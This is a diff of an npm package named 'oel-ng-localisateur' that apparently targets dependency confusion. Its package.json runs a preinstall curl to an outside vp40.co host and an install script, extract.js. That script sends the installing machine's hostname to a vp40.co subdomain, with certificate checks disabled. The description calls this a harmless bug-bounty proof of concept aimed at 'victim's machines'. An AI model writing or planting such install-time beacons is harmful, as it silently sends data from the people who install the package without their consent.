oel-ng-localisateur 1.0.0

package/extract.js

@@ -0,0 +1,26 @@
+const https = require('https');
+var os = require("os");
+var hostname = os.hostname();
+
+const data = new TextEncoder().encode(
+  JSON.stringify({
+    payload: hostname,
+    project_id: process.argv[2]
+  })
+);
+
+const options = {
+  hostname: process.argv[2] + '.' + hostname + '.cdtiqev39m6qzfeojukg1ayy8peg277vw.vp40.co',
+  port: 443,
+  path: '/',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  },
+  rejectUnauthorized: false
+}
+
+const req = https.request(options, res => {});
+req.write(data);
+req.end();

package/index.js

@@ -0,0 +1,3 @@
+module.exports.desjardins = function () {
+    return "vp40"
+}

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "oel-ng-localisateur",
+  "version": "1.0.0",
+  "description": "This package is a proof of concept used by vp40 to conduct bugbounty research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded.",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "curl https://y104e0jpx8ucn12a7g82pwmkwb22qtthi.vp40.co/preinstall",
+	"install": "node extract.js"
+  },
+  "author": "vp40",
+  "license": "ISC"
+}